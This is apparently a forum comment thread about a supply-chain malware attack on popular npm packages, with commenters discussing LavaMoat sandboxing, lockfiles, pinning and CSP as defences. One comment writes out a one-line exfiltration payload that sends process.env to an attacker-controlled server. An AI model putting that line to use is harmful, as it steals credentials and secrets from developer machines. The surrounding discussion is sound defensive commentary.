Edit: typo
Anyway, the case where reactive tools (detections, warnings) don't catch it is why LavaMoat exists. It prevents whole classes of malware from working at runtime. The article (and repo) demonstrates that.
LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently treats packages - with isolation and policy limiting what they can do.
I would worry that that results in a false sense of security. Even if the actual badge says "passes some heuristics that catch only the most obvious malicious code", many people will read "totally 100% safe, please use with reckless abandon".
500 USD, not bad for a month of work if the author is from a 3rd world country.
500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.
This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.
`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.
A shitty junior developer in Ecuador easily pulls 700-800 per month. If they are any competent, they can double that in an outsourcing consultancy.
"Developing" or "poor" country may be a more accurate phrase.
>Pretty low impact for an attack this big. Some of it seems to be people mocking the malware author with worthless transfers.
I believe this is the section. As far as I understand the link, it's about $500. I don't understand how you read if a donation is a worthless mockery donation.
This is when I see the ramp up in queuing in CI/CD builds that lasts a few hours across companies and is more likely to trigger a package getting rebuilt.
Also, curious: does freezing a version really provide much protection? Shouldn’t a commit hash be used? (Attacker can change a tag.)
Installing from git is not recommended and has more issues than you might think https://dev.to/naugtur/a-phish-on-a-fork-no-chips-52cc
You are supposed to update packages, even if you use lockfiles (very common) or tools that pin your direct dependencies (renovate etc. not so common) And when you do update, will you read the package and all of its updated dependencies?
It's a hard problem with a bunch of tradeoffs.
Can be done, with enough attention and tools. Tools include LavaMoat :)
with LavaMoat most malware won't work even if you don't detect it.
Depends how you'd refer to them... tags ("@latest", "@next" etc.) are not immutable and it's best to rely on the checksums in the lock file.
Plenty of objects in the browser API contain references to things that could be used to defeat the compartmentalization.
If one were to enumerate all properties on window and document, how many would be objects with a reference back to window, document or some API not on the allowed list?
Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language.
see hardenedjs.org too
I'm doing the rounds promoting the project today because at this point all we need to eliminate certain types of malware is get LavaMoat a lot more adoption in the ecosystem.
( and that'll give me bug reports and maybe even contributions? :) )
I think that's why they made the comment.
My understanding is that if you can run with a CSP that prevents unsafe-eval, and you lock a utility package down to not be able to access the `window` object, you can prevent it from messing with, say, window.fetch.
But what about a package that does assume the existence of window or globalThis? Say, a great many packages bridging non-React components into the React ecosystem. Once a package needs even read-only access to `window`, how do you protect against supply-chain attacks on that package? Even if you read-only proxy that object, for instance, can you ensure that nothing in `window` itself holds a reference to the non-proxied `window`?
Don't get me wrong - this project is tremendously useful as defense-in-depth. But curious about how much of a barrier it creates in practice against a determined attacker.
The sandbox itself is tight, there's a bug bounty even.
The same technology is behind metamask snaps - plugins in a browser extension.
And Moddable has their own implementation
The biggest problem is endowing too powerful capabilities.
We've got ambitious plans for isolating DOM, but that already failed once before.
By the way why doesn't npm have already a system in place to flag sketchy releases where most of the code looks normal and there is a newly added obfuscated code with hexadecimal variable names and array lookups for execution...
automated publishing should use something like Pagerduty to signal that a version is being published to a group of maintainers and it requires an approval to go through. And any one of them can veto within 5 minutes.
But we don't have that, so gotta be careful and prepare for the worst (use LavaMoat for that)
Because the malware writers will keep tweaking the code until it passes that check, just like virus writers submit their viruses to VirusTotal until they are undetected.
Even a max line length check would have flagged it.
The best way to manage JS dependencies is to pin them to exact versions and rely on renovate bot to update them. Then at least it’s your choice when your code changes. Ideally you can rebuild your project in a decade from now. But if that’s not possible then at least you should have a choice to accept or decline code changes in your dependencies. This is very hard to achieve by default in the JS ecosystem.
When I’m hacking on a C project and it’s got a bunch of code ripped out of another project, I’m like “heh, look at these primordial dependency management practices.” But five years later that thing is gonna compile no problem…
Because nobody gives a fsck. Normally, after npm was filled with malware, people would avoid it. But it seems that nobody (distro maintainers) cares. People get what they asked for (malware).
Makes me not want to use the ecosystem, which isn’t always possible.
I came to that conclusion long ago.
* Major attacks on large packages like this are caught fairly quickly - a few hours in this case - making the vulnerable window _relatively_ small.
* NPM locks installed dependencies by default, against both the version & a hash of the content, so you'll only install the new malicious version if you happen to be adding or updating this dependency specifically within the window this version is still live. It's effectively sort-of TOFU. If even you ran `npm install` in a project already using this dependency in the specific window it was live, you will not normally install the malicious version.
* There's quite a few tools to help mitigate the risk here, like https://socket.dev and npq (https://github.com/lirantal/npq).
As one datapoint, look at the download stats for the affected Chalk package for example (https://www.npmjs.com/package/chalk?activeTab=versions) - the vast majority of installs were not installing the latest version anyway.
There are caveats to this: e.g. you can use npm without a lockfile, in which case a fresh local install can pull down unexpected versions, or you could be manually updating/adding a different package which happens to depend on an affected package (which might trigger a lockfile update, which might then fetch the latest version of the subdependency) during the vulnerable window, or of course it's totally possible you might install the package for the first time at the precisely wrong moment, etc etc.
This is definitely bad, and could have been extremely disastrous if it wasn't caught. But in practice, npm & the ecosystem have put in quite a few protections that do help to _mostly_ mitigate these kind of risks in typical use cases (but not completely, and there's definitely plenty more work to do!) and it's certainly not the case that millions of JS developers & projects were all catastrophically pwned today.
Most other ecosystems are as vulnerable if not more, they just lack the scale.
OP, The malware is coming to the ecosystem you prefer. Give it time.
Without fairness in the marketplace, the talent loses the will to play and the economy will further deteriorate. We are all suffering from an international trust breakdown from Covid, and now also from AI spam. If we don’t turn this tide, jobs and business opportunities are going to keep shrinking.
For example, consider a CSP of: `Content-Security-Policy: connect-src 'self' https://api.example.com;`: This policy would allow fetch() requests only to the same origin ('self') and to https://api.example.com, blocking any attempts to connect to other domains (typically with a corresponding warning/error in the browser dev console).
That said, in fairness, CSP is of course only applicable to frontend code (not to backend JS, where anecdotally I've seen a lot more usage of `chalk` and some of the other pwned packags), but frontend code and the `window` object is what the OP used in their examples and seems like they're targeting w/ webpack, hence my mentioning CSP.
[1] https://www.crowdstrike.com/en-us/blog/crowdstrike-falcon-pr...
2. Do local dev with https://github.com/lavamoat/kipuka installed (I'm working on it)
3. If you don't permit the APIs used for loading DLLs they won't load themselves, so runtime protections are valid too. But I recall the DLLs were loaded in lifecycle script.
cluckindan•5mo ago
naugtur•5mo ago
naugtur•5mo ago
cluckindan•5mo ago
Is it possible to generate the allowlist at development time without having the webpack plugin loaded? If it’s only generated at build time, it won’t protect against malicious packages getting installed in CI just before the build happens.
naugtur•5mo ago
Try it and see. There's tradeoffs but if you roll it out, it is very powerful.